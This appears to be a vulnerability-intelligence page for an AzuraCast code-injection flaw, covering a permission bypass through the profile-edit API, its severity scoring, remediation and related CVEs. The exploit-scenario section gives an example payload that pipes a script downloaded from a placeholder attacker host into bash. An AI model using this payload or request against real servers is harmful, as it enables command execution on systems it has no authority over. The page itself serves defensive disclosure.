Attack ChainAIDerived
Hypothetical attack flow derived from CVE metadata – not a confirmed exploit chain
-
AccessAuthenticate as station manager with Profile permission
-
DeliverySend crafted PUT /api/station/{id}/profile/edit with process.run() payload in custom_config field
-
ExploitGROUP_GENERAL deserialization bypass writes payload into backend_config without Broadcasting permission check
-
ExecutionConfigWriter emits payload verbatim into generated .liq script
-
PersistSync task sets needs_restart flag
-
ImpactLiquidsoap backend restarts and executes injected OS command
Vulnerability Assessment
| Weakness |
CWE
OWASP Top 10:2025
A05:2025 - Injection
ASVS 5.0
V1 - Encoding and Sanitization Code injection prevention, sandbox exec
MITRE ATT&CK
2 techniques across 2 tactics: Execution, Initial Access The technique list with ATT&CK links and the kill-chain view is part of the Basic plan and up. |
| Exploitation Conditions | Exploitation requires a valid AzuraCast account with StationPermissions::Profile assigned for the target station - this is the specific permission granted to station managers for general profile editing and is intentionally positioned below the StationPermissions::Broadcasting permission that governs the dedicated Liquidsoap configuration endpoint. The attacker must have network access to the AzuraCast web API and knowledge of the target station's numeric ID (which is typically discoverable through other authenticated API calls). The installation must use Liquidsoap as the streaming backend, which is the default for AzuraCast; deployments relying solely on remote relay backends do not generate Liquidsoap .liq scripts and may not be exploitable. OS command execution is deferred until the next Liquidsoap backend restart, which the built-in sync task triggers automatically whenever needs_restart is set - this is normal operational behavior and does not require any additional attacker action. Exploitation is bounded by the PR:L authentication requirement: unauthenticated network access is not sufficient. No special platform, OS configuration, feature flag, or non-default AzuraCast setting is required beyond a standard installation with Liquidsoap enabled. |
| Impact | The CVSS 4.0 vector (AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H) scoring 8.7 accurately captures the core risk profile: the attack is network-accessible, structurally simple, and requires only a low-privilege station manager credential - a role commonly assigned to non-administrative contributors in multi-tenant AzuraCast deployments. Attack complexity is genuinely low because the serialization group bypass is a deterministic structural flaw requiring no memory corruption, timing, or race conditions. The automatic backend restart via the sync task means code execution is reliable and asynchronous, not requiring the attacker to repeatedly probe the system after injection. No EPSS score was provided in the input data; this CVE is not in the CISA KEV catalog and no public exploit code has been identified, so real-world exploitation probability cannot be quantified beyond what the CVSS vector implies. The primary limiting factor is the PR:L requirement - exploitation is not possible without a valid station manager account, which restricts the attack surface to insider threats and compromised credentials rather than opportunistic internet scanning. Organizations running AzuraCast in multi-tenant configurations where station manager credentials are issued to external or semi-trusted parties face the highest realistic risk; single-operator deployments where all accounts are fully trusted are less exposed in practice. |
| Exploit ScenarioDerived | An authenticated AzuraCast station manager submits a crafted PUT request to /api/station/{station_id}/profile/edit with a JSON body containing a malicious Liquidsoap snippet such as process.run("curl http://attacker.example/shell.sh | bash") embedded in the custom_config field. AzuraCast's GROUP_GENERAL deserialization group accepts the payload through AbstractArrayEntity::fromArray() without field-level permission validation, and ConfigWriter::writeCustomConfigurationSection() writes the injected code verbatim into the generated .liq script. When the built-in sync task detects needs_restart and restarts the Liquidsoap backend - a normal operational event requiring no further attacker action - the injected OS command executes with the privileges of the AzuraCast backend process. |
Get an e-mail when this CVE is exploited, patched or re-scored. Free account.
Alert meAnalysisAIv1 – Aug 24, 2026
Remote code execution in AzuraCast ≤0.23.8 is reachable by any authenticated station manager due to a serialization group mismatch that exposes Liquidsoap custom configuration fields through the profile-edit API endpoint, which enforces only the lower-privilege StationPermissions::Profile rather than the StationPermissions::Broadcasting required by the dedicated Liquidsoap configuration endpoint. An attacker injects arbitrary Liquidsoap script constructs - including process.run() or process.exec() OS command primitives - into fields that ConfigWriter::writeCustomConfigurationSection() emits verbatim into the generated .liq script, with execution triggered automatically by the built-in sync task whenever needs_restart is set. No public exploit has been identified at time of analysis, and this CVE is not listed in the CISA KEV catalog, but the attack path is fully described in advisory GHSA-q8wg-3qg7-8pc7 and presents a straightforward escalation from station manager to host OS command execution.
RemediationAI
The primary fix is to upgrade AzuraCast to a version beyond 0.23.8 that addresses GHSA-q8wg-3qg7-8pc7; the exact patched release version is not independently confirmed from the available references, so operators should monitor https://github.com/AzuraCast/AzuraCast/security/advisories/GHSA-q8wg-3qg7-8pc7 and the VulnCheck advisory at https://www.vulncheck.com/advisories/azuracast-through-liquidsoap-configuration-write-via-profile-edit-serialization-group-bypass for a confirmed fix version. Until a patch is applied, operators should audit all accounts holding StationPermissions::Profile and restrict that role exclusively to fully trusted personnel, effectively treating it as equivalent in sensitivity to StationPermissions::Broadcasting - note this may impact station managers' legitimate ability to edit general station metadata. As an additional control, the PUT /api/station/{station_id}/profile/edit endpoint can be blocked at the reverse-proxy or WAF layer for any station managers not explicitly trusted with Liquidsoap configuration access; this prevents the bypass without removing the broader profile-edit functionality for administrative users. There is no safe input-filtering workaround given that the issue is a permission boundary misconfiguration rather than a validation gap.
Affected VersionsENISA
Affected Packages
Source: OSV (Open Source Vulnerabilities)
Affects your stack
Affects 1 package in euvd
Checking this CVE against your own stacks and servers is part of the Basic plan and up.
Technical ContextAI · show details
AzuraCast is a PHP-based web radio station management platform that uses the Liquidsoap streaming scripting language as its default backend. The root cause is CWE-94 (Improper Control of Generation of Code), manifesting as a deserialization group misconfiguration in the Doctrine entity layer. In backend/src/Entity/Station.php (CPE: cpe:2.3:a:azuracast:azuracast:*:*:*:*:*:*:*:*), the backend_config composite property - which encapsulates six Liquidsoap custom configuration fields (custom_config_top, custom_config, custom_config_pre_playlists, custom_config_pre_live, custom_config_pre_fade, custom_config_bottom) - is annotated with the GROUP_GENERAL deserialization group. The PUT /api/station/{station_id}/profile/edit controller in ProfileEditController.php deserializes incoming JSON using that same GROUP_GENERAL group but enforces only StationPermissions::Profile, a role routinely granted to non-administrative station staff. AbstractArrayEntity::fromArray() assigns all public properties with no field-level permission check, so all six Liquidsoap config fields are writable via the profile endpoint despite the intended access boundary. The dedicated Liquidsoap configuration endpoint (PUT /api/station/{id}/liquidsoap-config) correctly requires the higher-privilege StationPermissions::Broadcasting. ConfigWriter::writeCustomConfigurationSection() then emits the attacker-controlled values verbatim into the generated .liq file, where Liquidsoap built-ins process.run() and process.exec() execute arbitrary OS commands when the backend restarts - a restart the built-in sync task triggers automatically once needs_restart is set.
Know when Azuracast gets its next vulnerability
- Watch products and get an email when something new is published
- Check this CVE against your own stack and servers
- Exploit and PoC references, threat intelligence from 22 sources
No credit card · 7-day full trial
Severity by source
CVSS:4.0/AV:N/AC:L/AT:N/PR:L/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N
Network API reachable with low-privilege station manager credential; scope changes because web-layer vulnerability achieves OS command execution via the Liquidsoap subprocess outside the web application boundary.
Primary rating from Vendor (VulnCheck).
CVSS VectorVendor: VulnCheck
DescriptionCVE.org
AzuraCast exposes the Liquidsoap custom configuration fields through an endpoint that does not require the permission guarding them. The backend_config property in backend/src/Entity/Station.php is annotated with GROUP_GENERAL, and PUT /api/station/{station_id}/profile/edit in backend/src/Controller/Api/Stations/ProfileEditController.php deserializes with that group while requiring only StationPermissions::Profile. AbstractArrayEntity::fromArray() then assigns every public property with no field-level permission check, so custom_config_top, custom_config, custom_config_pre_playlists, custom_config_pre_live, custom_config_pre_fade and custom_config_bottom are writable through it. ConfigWriter::writeCustomConfigurationSection() emits those values verbatim into the generated Liquidsoap .liq script, where the process.run() and process.exec() built-ins execute operating system commands when the backend restarts, which the built-in sync task triggers automatically once needs_restart is set. The dedicated endpoint for the same data, PUT /api/station/{id}/liquidsoap-config, requires StationPermissions::Broadcasting, so a station manager holding only the profile permission reaches configuration that the intended boundary reserves for broadcasting operators.
Executive ViewAI
AzuraCast versions 0.23.8 and earlier contain a remote code execution vulnerability accessible to authenticated station manager users, allowing arbitrary OS-level command execution on the underlying host. This represents a critical insider risk, particularly for organizations with multiple station managers or internet-facing deployments. Without a currently available patch, organizations must rely on access controls and monitoring to mitigate exposure.
No vendor-released patch identified at time of analysis. Interim mitigation: restrict station manager role assignment to security-vetted personnel only, implement network segmentation isolating AzuraCast systems from general networks, enforce multi-factor authentication for all station manager accounts, monitor and alert on profile-edit API access patterns and Liquidsoap configuration file modifications, and disable automatic Liquidsoap service restarts if operationally feasible to prevent auto-execution of injected scripts.
Threat Intelligence Overview
How this decision was reached
The engine reads each signal below and applies a fixed list of rules from top to bottom. The first rule that matches sets the recommended action – like a statement, every line is shown.
What every action level means
SSVC AssessmentENISA
Priority Score
Attack Technique
Code injection occurs when an application accepts user input and passes it directly into a language interpreter or evaluator without proper sanitization.
Remote Code Execution represents the critical moment when an attacker successfully runs arbitrary code on a target system without physical access.
Improper Restriction of Excessive Authentication Attempts in GitHub repository azuracast/azuracast prior to 0.18.3. Rate
Command execution as the Liquidsoap process user is possible in AzuraCast through 0.23.x when an authenticated station u
Cross-site Scripting (XSS) - Stored in GitHub repository azuracast/azuracast prior to 0.18. Rated medium severity (CVSS
Code injection in AzuraCast through 0.23.5 lets an authenticated user holding the RemoteRelays station permission inject
Unauthenticated DQL injection in AzuraCast before 0.23.8 allows remote attackers to extract sensitive database informati
Authenticated code injection in AzuraCast 0.23.3 and earlier lets a user holding StationPermissions::Media or StationPer
Unauthenticated media exposure in AzuraCast before 0.23.8 allows remote attackers to download audio files that station o
Unauthenticated HTTP requests to AzuraCast 0.23.1's internal sftpgo integration endpoints (/api/internal/sftp-auth and /
Authenticated users with only View Station Page permission on AzuraCast before 0.23.8 can retrieve plaintext Icecast/Sho
Server-side request forgery in AzuraCast before 0.23.8 allows an authenticated user with the station-scoped WebHooks per
Missing authorization on AzuraCast's GET /api/station/{station_id}/file/{id}/play endpoint lets any authenticated user -
Server-side request forgery in AzuraCast (Composer package azuracast/azuracast, versions before 0.23.8 per the advisory)
EUVD-2026-65008
GHSA-53mh-vf3g-pggg
NVD
CVE.org
EPSS
Vulnrichment
VulDB
Exploit-DB